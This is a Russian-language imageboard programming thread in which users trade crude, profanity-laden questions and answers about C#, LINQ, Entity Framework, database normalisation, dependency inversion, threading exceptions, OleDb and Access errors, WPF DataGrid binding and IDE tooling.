Сап пр. Есть одна БД. Надо составить запрос который связывает таблицы "Болезни" и "Лекарства" по полю "Код лекарства", "Код лекарства 1", "Код лекарства 2" и "Код лекарства 3"). БД уже заполнил

С помощью LINQ2SQL я наговнокодил два класса которые связаны с БД.
С помощью LINQ попытался связать две таблицы(пик1) и прихуярить к datagridview. Я знаю, что в коде я беру названия для препаратов из одной и той же хуйни, но я не знаю как по другому. Поэтому и пишу сюда

Вместо нужной хуйни у меня получается пик2.
Вот(пик3, там значения разные как раз таки) правильные значения из таблицы.

По сути мне нужно вытащить med_id_first, med_id_second, med_id_third из таблицы и посмотреть названия препаратов с соответствующим med_id_порядковыйномер (к примеру med_id_first будет "Анальгин", а med_id_second будет "Но-шпа")

Или можно как-то реализовать запрос по другому?
в курсе на счет правил наименования, это чуть позже переделаю
191 1735120
>>735104
Няша, юзай EF и не парься. Срсли. Там настроишь многие-ко-многим и просто сможешь доставать что тебе надо прямо из класса модели без всех этих джоинов-хуеинов.
192 1735169
>>735104
У тебя какая-то хуйня вместо таблиц и говно вместо запроса.
Прочитай для начала это https://metanit.com/sql/tutorial/2.1.php
193 1735193
>>735120
Не умею в EF :(
194 1735200
>>735193
Насколько помню, в еф который кор нет многие-ко-многим
Возможно, проще будет написать sql запрос
База не нормализована, это хуево
195 1735201
>>735200
Да а как запрос-то написать сука?
"Болезни (Связывает таблицы "Болезни" и "Лекарства" по полю "Код лекарства", "Код лекарства 1", "Код лекарства 2" и "Код лекарства 3")"
196 1735218
>>735201
Сделай таблицу лекарства
Сделай таблицу кодЛекарства, в которой будет поле лекарствоИд
Потом свяжешь коды лекарства

Анон, очень сложно вникнуть в то, что ты написал. Даже не сложно, а лень, это какое-то дерьмо – я так понял, что ты захардкодил три кода лекарства. А если четвертый появится? Делай правильно
image.png26 Кб, 694x273
197 1735223
>>735218
Такое задание, ничего поделать не могу.
198 1735233
>>735223

> Такое задание


Заебись, в универе закладывают фундамент
Я сейчас в дороге, приду домой покумекаю
199 1735247
>>735233
Спасибо анончик
200 1735396
>>735200

> Насколько помню, в еф который кор нет многие-ко-многим


Нет в том виде в каком это было в обычном EF, но ничего не мешает тебе запилить самому модельек вида:
IEnumberble<A> as
IEnumberble<A> bs

и при конфигурации сущностей запилить эту связь раками. Все равно один раз это напишешь и можешь из любого места доставать то что тебе надо.
image.png38 Кб, 845x481
201 1735404
>>730915
Нашел про первое в книжке. Оказалось очень просто.
202 1735408
>>735223
Говоришь преподу: Это какое-то говно. И делаешь нормально.

Вот тебе примерный код того как обычно люди делают https://ideone.com/CALmkx Посмотри и адаптируй под свою задачу. Да, кажется что это усложнение, на деле же так потом проще будет, базарю.
203 1735418
>>735408
К сожалению меня пошлют нахуй ибо я уже один раз прислушался с своему сердцу и сделал так, как считаю нужным. В итоге сказали, что в первый раз не снизят оценку, но в следующие - будут. мне похуй на оценки, но в таком случае я буду получать хуй за щеку, а не деньги
204 1735426
>>732881
Если бы через реф было бы 20 20, не?
205 1735436
>>735418
Но ведь хуйню просят делать. Ты им скажи, что есть, блядь, нормальные формы, их не долбоебы придумали. Третья нормальная является, блин, стандартом хранения данных в реляционках. Банально ты избегаешь дублирования, в случае если болезнь лечат 2 колесами не нужно будет null вставлять, null в реляционках считается редкостной хуйней, которую лучше не использовать в самих таблицах, опять же, ты можешь поверх представление(вьюшку) сделать в том виде какой просят в задании, но при этом потом можешь, если надо, и 5 колес выводить, и 10, и 1, можешь все симптомы объединить в строку и выводить в одном столбце и т.д. СУБД же тоже не тупые, там есть куча способов работы с тем что в таблицах хранится. Опять же, в приложухе можешь уже вьюшку тянуть, причем тебе даже не нужно будет ничего объединять, ты на стороне СУБД это сделал и просто тянешь, если надо что-то добавить/отредактировать - тянешь из СУБД хранимку, которая в том виде, в котором надо добавит/обновит.
Хотя бы для себя сделай нормально, а преподу показывай результирующие вьюшки в том виде, какой просят. Ну серьезно, потратишь чуть больше времени, зато со спокойной душой жить будешь.
И вообще, ХЗ что за преподы такие. В моей шараге, например, если просили сделать сортировку пузырьком для лабы, а ты делал квиксорт, тебя только хвалили, если нужно было написать консольную приложуху, а ты делал на формах, тебя в попу целовали и говорили: "Смотрите, какой анон инициативный, берите с него пример!". Да и когда работать пошел, если какую-то полезную штуку реализовал, вне рамок ТЗ, но уложился в сроки и оно работает нормально, никак особо не влияя на остальные фитчи, ни разу не было такого, чтобы кто-то был недоволен.
206 1735440
>>735436
Спасибо, ты рассказал мне больше за 1 минуту чем за год обучения
207 1735543
>>735426
Нет, офк. Сами ссылки значимые и в метод прилетают копии ссылок, все жонглирование происходит с локальными ссылками и никак не затрагивает ссылки из мэйна. Да и хз как ты вообще к 20 20 пришел.
208 1736000
>>735543
Потому что в том примере
a = b; //ссылка на число 10 заместилась ссылкой на число 20
b = a; //ссылка на число 20 заместилась ссылкой на... число 20

А ссылка, которая была в _а перешла в _temp, но так там и осталась.

Так что если везде, где надо дописать модификатор ref, то результат будет 20, 20. Потому что ссылка с числом 10 была проебана в методе.
209 1736072
Сосаны, поясните мне за Dependency Inversion Principle.
Суть такова: у меня есть проект на винформочках, который в рантайме присасывается к БД и делает к ней запросы. Собсна я насоздавал интерфейсы для классов, создал класс, который эти самые классы создает. И все бы нормально, но:
1. Как реализовывать Dependency Inversion для винформочек? Создавать пустой интерфейс? Потому что извлечь его рефакторингом я не могу, да и извлекать нечего: все методы формочки приватные.
2. Как реализовывать Dependency Inversion для работы с БД? У меня есть класс, который работает с БД, и он по сути строки БД запихивает в классы-контейнеры. То есть у меня есть таблица People, я делаю запрос к БД и у меня формируется List<Person> уже в Шарпе. Для этого я использую Query<T>, но вот проблема: Query<Person> работает на ура, а Query<IPerson> ломается. Если Query<T> не жрет интерфейсы, то как реализовывать Dependency Inversion для запросов к БД? Или я чего-то не понимаю?
210 1736076
>>736072
Не обязательно интерфейсы использовать, если нужно использовать какие-либо поля или методы, то используют абстрактные классы. Главное чтобы объявление этого абстрактного класса было на уровне выше, чем его реализация.
211 1736078
>>736076
Разве интерфейсы - это не публичные абстрактные классы? В чем будет разница между созданием интерфейса и созданием абстрактного класса тогда?
212 1736079
>>736078
По какой причине у тебя c Query<IPreson> всё ломается?
213 1736085
>>736079
Хуй знает. Дает ArgumentException. Насколько понимаю по стактрейсу - проблема в том, что System.Reflection.Emit.DynamicMethod.Init не работает с интерфейсами, якобы "недопустимый владелец типа". Но что это значит - я понимаю крайне слабо.
214 1736103
>>736085

>Хуй знает.


Ну вот ты сначала узнай, а уже потом пытайся следовать принципам проектирования.
215 1736112
>>736103
Ну я погуглил. Действительно нельзя интерфейсы передавать. Тогда как Dependency Inversion реализовывать?
216 1736156
>>736000

>Так что если везде, где надо дописать модификатор ref


Ну ахуеть. А если еще дописать, то можно получить хоть 666 13.
217 1736178
>>736112
Передавай абстрактные классы, я же написла.
218 1736187
>>736156
Пошли виляния жопой.

Этот чел прав >>732847
и этот >>735426

А те, кто им отвечали в духе "уволен" и "офк нет, хуе-мое" вводят в залужение других челов-новичков, которые потом это могут прочитать.
219 1736201
>>736178
Один хуй экспешен. Потому что нельзя создавать экземпляры абстрактных классов.
220 1736283
>>736201
Охуеть, это такой троллинг? Очевидно, что создавать нужно не экземпляры абстрактных классов и интерфейсов, а классы которые реализуют интерфейсы/абстрактные классы. И принцип DI, как раз заключается в том, что определение интерфейса/абстрактного класса лежит на уровне выше и отдельно от его реализации, делая основной класс независимым от дополнительных классов.
221 1736304
>>736283
Я понимаю. Но Query<IPerson> у меня нихуя не работает, Query<Person> не подходит для DI, а передать нужный тип через переменную в <> нельзя. Потому я и не понимаю, че мне делать.
222 1736332
>>736304

>Query<Person> не подходит для DI


Сделай чтобы подходило. В чём проблема?
223 1736381
>>736304
Зачем тебе Query<T> резолвить?
224 1736449
>>736072
Ты какую-то хуйню собрался делать. Серьезно. Классы моделей никто не выносит в интерфейсы. Просто потому что это уровень модели нахуй ломает.

А насчет инверсии зависимостей для работы с БД, обычно под этим подразумевается, что ты выносишь провайдера в интерфейс и у тебя обращение к БД идет через какой-нибудь IDataStore<T> в котором есть все нужные тебе методы для работы с этой самой БД, Add/Remove/Update/Get/GetRange/GetAll. И потом ты можешь заинжектить в нужный тебе класс и доставать своих персон. Пример этого есть тут https://github.com/dotnet-architecture/eShopOnWeb

В интерфейсы выносятся сервисы и классы которые какую-то работу совершают, например обработка оплаты заказа, сборка странички с данными по оплате, логгирование, системы оплаты и это вот все.
225 1736477
>>736449
Спасибо, анонче. Было чувство, что модели в интерфейсы не выносятся, но я немного слишком увлекся.
А что насчет винформочек? С ними надо что-то делать или оставить?
15927560881351.jpg1,2 Мб, 2000x1333
226 1736489
Xamarin.Forms или Xamarin.Android?
image.png95 Кб, 1012x741
227 1736556
Что не так? почему "The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine."

Погуглил, пишут что надо поставить AccessDatabaseEngine - ну я поставил. даже комп перезагрузил. почему не раб?
228 1736588
>>736556
Блядь, почему я должен за тебя гуглить, если ответ на 1й ссылке?
Патч для 64 битной поставил, сука? Или меняй разрядность приложения на 32 бита.
229 1736680
230 1736964
>>736556

> Что не так?


> AccessDatabaseEngine

231 1737010
Зашёл тут на ваши двачи, решил почитать что вы тут пишете.

>>724425 (OP)

> Resharper


Пиздец. Что в нём хорошего? Search everywhere умеет и студия, и VS Code по Ctrl + T.
Какие там, блядь, рефакторинги? Отвратительно долгий rename class/interface/variable (в который имеет студия и вскод, опять же, и в разы быстрее) с уёбищным ненужным rename in comments?

> Третьим пунктом WinForms и WPF, шестым про Xamarin


Десктоп умирает.
WinForms актуален для студентов говновузов, WPF функционален, но с уёбищным XAML.
Мобайл дева на шарпе катастрофичеки мало (12 вакансий «Xamarin» — СПб)
На месте этого вопроса должно быть что-то по ASP.NET (ASP.NET — 104 вакансии СПб, WPF — 29 вакансий).

> Для мака и никсов самый юзабельный вариант - MonoDevelop


Для мака и никсов самый юзабельный вариант — VS Code.

> Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны...


Шапка 1999? Уже давно райдер выпустили.

> Охуенное расширение для студии Format document on Save


В VS Code из коробки есть.
В студии разве нет?

> Indent Guides - показывает вертикальные линии на каждом уровне отступов


В студии из коробки есть.

> Литература


Не увидел здесь:
Pro .NET Performance: Optimize Your C# Applications
Microsoft SQL Server 2012 T-SQL Fundamentals
SQL Server Execution Plans
231 1737010
Зашёл тут на ваши двачи, решил почитать что вы тут пишете.

>>724425 (OP)

> Resharper


Пиздец. Что в нём хорошего? Search everywhere умеет и студия, и VS Code по Ctrl + T.
Какие там, блядь, рефакторинги? Отвратительно долгий rename class/interface/variable (в который имеет студия и вскод, опять же, и в разы быстрее) с уёбищным ненужным rename in comments?

> Третьим пунктом WinForms и WPF, шестым про Xamarin


Десктоп умирает.
WinForms актуален для студентов говновузов, WPF функционален, но с уёбищным XAML.
Мобайл дева на шарпе катастрофичеки мало (12 вакансий «Xamarin» — СПб)
На месте этого вопроса должно быть что-то по ASP.NET (ASP.NET — 104 вакансии СПб, WPF — 29 вакансий).

> Для мака и никсов самый юзабельный вариант - MonoDevelop


Для мака и никсов самый юзабельный вариант — VS Code.

> Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны...


Шапка 1999? Уже давно райдер выпустили.

> Охуенное расширение для студии Format document on Save


В VS Code из коробки есть.
В студии разве нет?

> Indent Guides - показывает вертикальные линии на каждом уровне отступов


В студии из коробки есть.

> Литература


Не увидел здесь:
Pro .NET Performance: Optimize Your C# Applications
Microsoft SQL Server 2012 T-SQL Fundamentals
SQL Server Execution Plans
232 1737075
>>737010
Как ты живёшь без решарперовского автоимпорта неймспейсов? Это же отвлекает, пиздец. Собственно, этой фичей они меня и купили
Навигация по контролёров в аспе
233 1737107
>>737075
Решарперовский автоимпорт может автоимпортировать что-то не то. Не нравится так. Импортирую по "контрол+точка, энтер", радуюсь жизни.

Какая навигация по контроллерам в аспе?
234 1737112
>>737107
Это надо тип полностью написать, пиздец ты трудолюбивый

Навигация к представлению View в MVC. Редко, но пригождается, когда легаси приходит
235 1737150
Сдавал ли кто 70-486 сертификат? Сдал в начале года 483, и еще есть время до января сдать 486. Сложно учить как-то очень странние вещи по WCF, azure, mvc 4-4
236 1737152
>>737010

> Resharper


>Что в нём хорошего?


Ренейм класса не работает через раз как в студии, при переносе в другой неймспейс, всё автоматически правится, а в студии тебе ручками неймспейс править нужно. В Студии нет подсчета ссылок на метод, класс, поля и т. д.
Также встроенный конструктор ToString который автоматически перезаписывает его и добавляет вывод всего стейта в текст.

>ненужным rename in comments?


Ну если ты даун, который в комментах ничего не пишет, то это не значит, что все такие.
237 1737155
>>737010
+ про решарпер еще вспомнил, что он автоматически предлагает заменять старые конструкции на новые, например обычный switch на switch expression и вообще подсказывает если можно уменьшить количество кода.
238 1737176
Визуал студио вообще нормально работает под макосью?
.png21 Кб, 706x515
239 1737199
>>737152

> Студии нет подсчета ссылок на метод, класс, поля и т. д.


А это что?

Другое дело что студия при том же поиске оч тормозит, особенно в проекте с ангуляром, который хоть раз собирался. Это пиздец какой-то начинатся. А ебучий Райдер нормально так работает без особых проблем.
240 1737210
>>737176
Она же урезана сильно.
Я бы сделал выбор в пользу вскода.
241 1737212
>>737150
Профит есть от сертификатов?
242 1737220
>>737152

> при переносе в другой неймспейс


Часто ты кидаешь классы из папки в папку?

> даун, который в комментах ничего не пишет


Что писать-то?

> /// <summary>


> /// Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>


> /// </summary>


> public сlass MyClass : ICommentable, IUnnecessary


> { ... }


Норм? Первый раз пишу, не судите строго.
243 1737229
>>737152
Решарпер не нужен. Комменты тоже. Убедите меня в обратном
244 1737230
>>736489
бамп
245 1737239
>>737220

>Часто ты кидаешь классы из папки в папку?


Да, особенно на начальных стадиях, когда структура проекта постоянно меняется и дополняется.

>Что писать-то?


Всё что поможет тебе и другим понять работу кода без необходимости читать непосредственно сам код.
246 1737241
>>737010
Точно. Совсем забыл.
К литературе ещё дополнение:
https://github.com/sidristij/dotnetbook
247 1737242
>>737229
Он еще и ошибки в именовании переменных исправляет. Помогает если у тебя с письменным английским плохо.
248 1737254
>>737242
С английским всё хорошо.
249 1737287
>>737229

> Решарпер не нужен


Ну, как минимум то что он по папочкам неймспейсы автоматом делает довольно полезная херня.

> Комменты тоже


Я тоже так думал, пока в универе учился. Вот я прихожу на работу, меня садят легаси поддерживать, последний разработчик которого съебался далеко и не выходит на связь, из работающих никто не знает как он работает, большинство даже точно не уверены что оно делает, только один дед припоминает, что году так в 2005 возникла маленькая задачка и решено было простенькое решение запилить, задачку он уже не помнит, правда, разрабатывали 15 лет, там сейчас больше 750к строк кода, при этом из комментариев только соревнование тех кто за ним сидел в остроумии(шутки-хуютки, анекдоты и какие-то замечания, что вот кто-то там мудак, этот кто-то тоже давно не работает тут) и тудушки из времен когда он только начинался в стиле: TODO Сделать нормально. Это был сущий ад разбираться в этом, при этом говоришь руководителю: Дайте неделю, чтобы разобраться и еще неделю на рефакторинг: Хуй тебе, код написан, он работает, а ты, раз программистом назвался, - правь баги, добавляй фитчи, эта хуйня ложится у клиентов в рандомные фазы луны, но вроде работает же, а клиенты хотят больше фтич.
250 1737293
Есть поток, внутренности которого завернуты в try catch. В потоке вызывается метод, внутренности которого так же завернуты в try catch. В методе происходит исключение(Abort) - я готов к этому, и catch метода его обрабатывает. Вот только после обработки, исключение передается выше, в catch основного потока и руинит все нахуй. Это норма вообще? Я же throw; в первом блоке catch не вызываю, с хуев ли оно выше передается? Как сделать так, чтобы не передавалось, и обработка исключения происходила только в первом же блоке catch?
251 1737298
>>737287
Когда я только в универе учился, я думал, что комменты не нужны. Когда начала работать - стал думать, что нужны. После 10 лет стажа считаю, что комменты не нужны. Нужна high-level документация и тесты. Всё остальное - херня.
252 1737315
>>737298
Так-то оно так, только кто эту документацию писать будет? Если кодер, то он в процессе нередко тупо забывает что и зачем делал и вся документация выглядит как:
void DoSomething(object X) - принимает объект и делает что-то.
С комментами, которые пишутся в процессе хотя бы ход мысли понять можно, можно понять что на момент написания метода/класса стояла за задача, проанализировать нормально ли она решена в этом контексте и принять решение надо ли это трогать, или можно оставить как есть, а не быть обезьяной, которая палкой тыкает и проверяет не ебанет ли, либо обкалывает фасадами и адаптерами.
253 1737327
>>737315

>void DoSomething(object X) - принимает объект и делает что-то.


Документация конкретных методов не нужна. Юнит тесты твоя документация методов. Документация нужна чтоб описать котракты для твоего API и взаимодействие модулей системыю
.jpg181 Кб, 699x629
254 1737377
>>737293
Если сам вызов метода обернуть в try catch, то при исключении он и туда зайдет, и потом все равно подымется выше и все заруинит(то есть зайдет в 3 блока catch: сначала в самом методе, потом catch-блок в который был завернут вызов метода, потом catch-блок в который завернут основной поток) Это норма что ли? Нахуя тогда нужен оператор "throw;" в блоке catch, если один хуй исключение и так выше передается?
255 1737379
>>737212
Ачивка в резюме.
256 1737380
>>737377
https://docs.microsoft.com/en-us/dotnet/api/system.threading.threadabortexception?view=netcore-3.1

tl;dr: это специальное исключение, вызови Thread.ResetAbort();

что ты вообще делаешь?
.jpg71 Кб, 453x604
257 1737420
>>737380
Боже, огромное спасибо, нагеморроился тут с этим. И ведь читал, что у него есть Reset, но совершенно забыл.

>что ты вообще делаешь?


Я только учусь. Изначально было множество раздельных потоков, каждый из которых трудился над своей задачей, так было проще реализовать для начала(иди от простого к сложному). Внутри множество методов(долгие недели работы и отладки), в каждом из которых что-то может пойти не так, и, если возникала ошибка, при которой не было смысла дальше продолжать - я просто выбирал прервать неудачный поток.
Сейчас, для взаимодействия между задачами, все перевожу на один общий интерфейс и поток, и бывшие потоки теперь стали просто методом, который по очереди в цикле прогоняется для всех задач(данных). Но ошибки так же вылетают с предложением прервать поток, что, естественно, при общем потоке мне не нужно, а нужно лишь отменить выполнение конкретной задачи. Потому просто отлавливаю ThreadAbortException и возвращаю в основной поток false, чтобы там удалить и не выполнять задачу. Просто же повесить на кнопку прерывания "return false;" - я не могу, тк форма ошибки вызываются в основном в десятках внутренних методах и их подметодах.
258 1737426
>>737420
Ужас. Пойди посмотри на async/await и System.Threading.Task, а то ты себе в ногу из пулемета стреляешь
.jpg223 Кб, 1024x716
259 1737444
>>737426

>async/await


Недавно посмотрел(тоже по совету тут) - использую в некоторых операциях. Но не могу прогонять основной метод асинхронно, тк это Selenium веб драйвер: в нем нужно строго контролировать и переключать вкладки, с которых собираются данные и производятся манипуляции(когда было много потоков - то для каждого был свой браузер, но это то и было неудобно), так что одновременно в одном браузере асинхронно прогонять все задачи невозможно - только по одной, строго выбирая нужную вкладку. Можно, конечно, прогонять асинхронно по одному и дожидаться выполнения, но разве в этом есть смысл, если исключения отлавливаются, а основному потоку все равно нужно дождаться завершения прогона?
Что улучшать, чтобы в ногу себе не стрелять?
260 1737450
>>737444
Мне, честно говоря, лень вникать в твою архитектуру, но список задач которые нужно уметь отменять, ждать их выполнения и т.д. выглядят отличным кандидатом для Task.Run() в который посылается CancellationToken. Посолить Task.WhenAll по вкусу, поперчить ContinueWith - и выйдет нормальное приложение.

А то, что ты описал, звучит как велосипед, кривой и страшный.
image.png162 Кб, 1351x651
261 1737453
что за байда?
делаю как тут написано
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/connect-to-data-in-an-access-database-windows-forms?view=vs-2019

то есть открываю слева источники данных - > добавить. Добавляю, прохожу все шаги, нажимаю готово, вылетает эта ошибка

Пробовал на пустом проекте
Пробовал из своей винды, и из виртуалки (виртуалбокс) с чистой системой
Пробовал и текущую 2019, и превью 2019
262 1737455
>>737453
View -> Output
там будет текст ошибки.
Как в русской версии называется - без понятия до сих пор не знаю зачем нужны локализированные IDE
.jpg90 Кб, 1280x960
263 1737466
>>737450
Спасибо, я изучу это и попробую реализовать.
image.png10 Кб, 829x276
264 1737467
>>737455
пусто
image.png20 Кб, 702x289
265 1737503
ffffffffff лядь как исправить?

Почему блядь оно туда какой-то excel interop пишет?

как вручную тогда подключить этот OleDB? какая там либа, а то дохрена в ссылках
image.png21 Кб, 1142x159
266 1737535
как лечить

Ну то есть таблица в ms access открыта. если что, запрос просто на Select

явно так мне не нужно, должно все работать даже если таблица где-то еще открыта
267 1737584
>>737535
Выполняй запросы, создавая инстанс подключения ненадолго и сразу закрывая его.

По коду из этого поста: >>736556
using (var connect = new OleDbConnection(connection))
{
...
}

И перезапусти бд/пеку, чтобы те старые повисшие подключения сбросились.

Простое правило: все IDisposable должны быть задиспоужены.
В данном случае при вызове connect.Dispose() закрывается подключение к БД.

https://docs.microsoft.com/ru-ru/dotnet/csharp/language-reference/keywords/using-statement
тлдр: using это как try-finally, где в try выполняется код из фигурных скобок, а в finally просто лежит вызов Dispose().
268 1737664
В очередной раз читая всякие статьи на тему того, что в шарпе вызывает аллокации в куче, а что не вызывает, подумал, что неплохо было бы иметь в языке такой атрибут, которым можно было бы пометить функцию, что она не должна выделять память в куче. И если там в ней будет какой-то неявный боксинг или енумераторы на куче, то будет выдан варниг или ошибка. Ну и, соответственно, из неё должны вызываться только функции с таким же атрибутом. Так вот, может что-то подобное для шарпа уже в каком-то виде изобретено? Геймдевелоперы ведь с руками оторвали бы.
269 1737665
>>737584
спс
270 1737668
>>737665
Помогло хоть?
271 1737680
>>737668
я пока не пробовал, взял на заметку, позже попробую.
272 1737873
еще нужна помощь... Вот у меня DataGrid, данные в него я биндю из DataTable. DataTable я заполняю из OleDb

Проблема вот в чем - данные грузятся из таблицы базы данных Access.
В этой таблице dbo_tab допустим есть два поля:
Status - int
Name - char

Теперь я хочу сделать следующее - поле Status в базе данных может принимать значение 0,1,2,3... Я же хочу чтобы вместо этих цифр писало слова открыто/закрыто/etc.
Ладно, пока что думаю тут просто сделать запросом (но возможно всеже есть более простой способ не трогая запросы?)

Но есть еще один вопрос, в DataGrid есть еще поле Id и Prop, которых нет в базе. Эти данные ну пусть берутся из какого-нибудь локального конфига и не хранятся в базе..

можно ли как-то их добавить в DataGrid?
273 1737953
>>724425 (OP)
Привет /pr/. Не думал, что зайду сюда с такой проблемой.
Крч начал изучать C# по Шилдту и заранее решил взять еще и Троелсена, но обосрался и взял не "Язык программирования C# 5.0 и платформа .NET 4.5", а "Язык программирования C# 7 и платформы .NET и .NET Core" Троелсена и Джепкинса, которая в свою очередь "для профессионалов".
На сколько сильно после Шилдта у меня будет рваться жопа во время прочтения данного 1300 листового кирпича?

Так же на полке имеется CLR via C# Рихтера. Может стоит начать с нее?
274 1737966
>>737953
CLR via C# годно.
275 1737979
>>737953
Книжка с первого пика проще и понятнее чем CLR via C# Рихтера. Так что если сразу не тянешь Рихтера, начни с нее.
276 1737981
>>737979
Окей, спасибо большое
277 1738187
>>737664
Хотеть. С учетом CoreRT, где нет сборщика мусора, это мастхев
Annotation 2020-07-01 015745.png7 Кб, 442x230
278 1738237
>>738187
Нашел пока вот это
https://github.com/microsoft/RoslynClrHeapAllocationAnalyzer
подсвечивает аллокации в коде как варнинги или как suggestions.
Правда, есть вопросы к нему, например вот тут на картинке ничего не подчеркнул, хотя по идее должна быть аллокация на енумератор.

И ещё для решарпера есть что-то такое же, но у меня решарпера нет
https://plugins.jetbrains.com/plugin/12390-heap-allocations-viewer
279 1738299
>>737503
System.Data.OleDB.OleDbConnection conn = new System.Data.OleDB.OleDbConnection(ConnString);

Не помню точное расположение этой залупы, но примерно так.
280 1738329
>>737873
Просто выгружаешь данные, потом из них создаешь коллекцию в нужном тебе виде и уже ее биндишь. В чем проблема-то?
281 1738436
>>737953
Так этож то же самое, ток новее, не?
282 1738484
>>734692
Гугли ef tools.
283 1738546
>>738329
опыта еще мало
284 1738631
опять херня какая-то

Вот у меня DataTable. я его заполняю руками
table.Columns.Add("№", typeof(string));
table.Columns.Add("Статус", typeof(string));
table.Columns.Add("вкл/выкл", typeof(string));
table.Columns.Add("замен.", typeof(string));
schTable.NewRow();
schTable.Rows.Add(read["NUM"],read["STATUS"], read["VK"], read["ZAM"]);

и тут проблема, первые два столбуа заполняются, а вот два последних нет. в логе пишет:
System.Windows.Data Error: 40 : BindingExpression path error: вкл выкл' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=вкл/выкл; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')
System.Windows.Data Error: 40 : BindingExpression path error: замен' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=замен.; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')

То есть тут проблемно что используется / и точка.

Как быть? если про / я думал что его надо экранировать (не помогло), то ведь еще и из-за точки не работает
285 1738697
задолбался читать воду и глупые шутки в книгах (а еще гиганские примеры, в которых 90% лишнего и можно было показать намного проще)...

Скажите, а вот это
https://docs.microsoft.com/ru-ru/dotnet/csharp/

стоящее, если по нему изучать язык?
286 1738711
>>738631
Тут проблема в том, что ты используешь Name как Caption, а не в точке и слеше.
287 1738726
Почему программа не запускается вне этой папки? Вроде все элементы выбрал как внутренние ресурсы
288 1738727
>>738726
потому что у тебя вагон dll-ок и конфигов тут
289 1738735
>>737155

> предлагает заменять старые конструкции на новые


Как там в 2007?
>>737075

>без решарперовского автоимпорта неймспейсов?


Не знаю как там в решарпере, но вроде и в студии не сложно, еще и нугет подтянет.
290 1738737
>>738735
пикчи забыл
291 1738744
А чем вообще на работе занимаются джуны-дотнетчики? Я только вот вкатываюсь я обязательно вкачусь, и не представляю как это айти работает. Им же не дают с нуля проект писать, а накидывают пилить тесты или обновлять старый код?
292 1738768
>>738727
А как сделать то, чтобы работало?
293 1738769
>>738735

> Не знаю как там в решарпере, но вроде и в студии не сложно, еще и нугет подтянет.


Например, есть класс LoudFartService
В студии надо написать его полностью, и нажать Alt+Enter. С решарпером я пишу "lfs" по первым буквам, но можно и длинее и нажимаю Tab
image.png17 Кб, 794x347
294 1738854
>>738769
Решарпера нет, что я не так делаю?
295 1738871
>>738744
Пишут документацию, покрывают код комментариями и тестами, приводят отдельные куски говнокода от гуру к корпоративным стандартам по кодстайлу, предварительно покрыв всё тестами, чистят гит и полируют джиру. Через годик подпускают уже к написанию самого кода в проектах.
.jpg106 Кб, 859x1267
296 1738878
Анон, как прикрутить пароль к моей БД? Уже третий день ебусь, нихуя разобраться не могу. Мне нужно сделать так, чтобы к БД можно было подключаться по паролю.
297 1738879
>>738854
Так он у тебя в том же пространстве имен. А фишка в автоимпорте других пространств. Попробуй свой класс засунуть в папку или унести в другой проект, и все, пиши полностью без подсказок

На самом деле можно жить и без этой фичи. Я вообще в vscode старался около месяца писать. Непродуктивно – сидишь, пердишь, вспоминаешь. А с решарпером потыкал, потыкал и табнул
А в vscode только микропроекты пишу, и то ради интереса
298 1738885
>>738878

>Анон, как прикрутить пароль к моей БД?


меня больше интересует как хранить этот пароль чтобы его не было в коде
image.png17 Кб, 741x342
299 1738893
>>738879
Держи другое простанство имен
300 1738896
>>738885
храни connectionString в конфиге. Конфиг преобразуй во время деплоя.
301 1738900
>>738885
Храни в отдельном, зашифрованном файле, расшифровать который можно только при наличии файла-ключа, который в свою очередь хранится на флешке.
302 1739072
>>738726
Аноны, помогите же мне. Есть дллки, есть 4 xml файла, надо каким то образом все это сунуть в один экзешник.
303 1739110
>>739072
Right click on Solution of your project > Add > New Project > Write on SearchBar "Setup" > Setup Project > Next > Create;

не благодари
304 1739114
>>739110
Ты предлагаешь создать установщик? Мне надо, чтобы был только экзешник, без всего
305 1739131
>>738893
Падажжи ебана.. Завтра попробую и отпишусь
307 1739194
>>739114
Зачем?
308 1739349
>>738436
В издании версии 5.0 все описывается более просто и подробно, чтобы можно было выбрать эту книгу одной из первых для изучения языка.
309 1739351
>>739194
ставлю жопу этого дауна на то, что он какой то мальвар хочет упаковать и даже не знает как
310 1739440
>>739351

>ml


>opencv


>мальвар



А ты не очень умный, да?
311 1739520
Как правильно завершать asp. net core приложение? Допустим, я сделал класс, который пишет в файлик что-то, наследовал его от бекграундворкера, впихунул в хост, ну вот он работает там. Потом я при работе сервера нажимаю ctrl+c и выскакивает ошибка о том, что операция отменена. И это как-бы ничего страшного, но очень сильно раздражает, да и как-то в нормальных программах от нормальных кодеров я такого не встречал. Т.е. скорее всего есть какой-то правильный способ все это дело завершить, но я не знаю как. И еще вот что заметил, если я решаю запустить приложение как сервис виндовый, то оно запускается и работает, но после завершения, почему-то снова не хочет запускаться, при этом среди процессов в диспетчере задач ничего нет, но вот во вкладке "подробности", приложение почему-то есть и отмечено что оно приостановлено и приходится там его завершать.
312 1739524
>>739520

> бекграундворкера


бекграунд сервиса
фикс
313 1739590
>>738711
а как надо? написал вот такую функцию
void TableAdd(string name, string caption)
{
var n_sch = schTable.Columns.Add(name, typeof(string));
n_sch.Caption = caption;
}

нет, нифига, теперь все столбцы называются по name, а не caption
314 1740070
На собесе спрашивают за сортировку. Говорю, мол, .Sort() - смотрят, как на идиота и просят написать реализацию пузырька. Это я долбоеб или они? Нахуя мне свои велосипеды писать, когда все есть? Может им вообще мсдн не использовать тогда?
315 1740077
>>740070
Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта, тогда ты жидко насрёшь себе в штанишки, ведь ты даже стандартного алгоритма не знаешь, а тебе нужен модифицированный. Или, что более вероятно, у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.
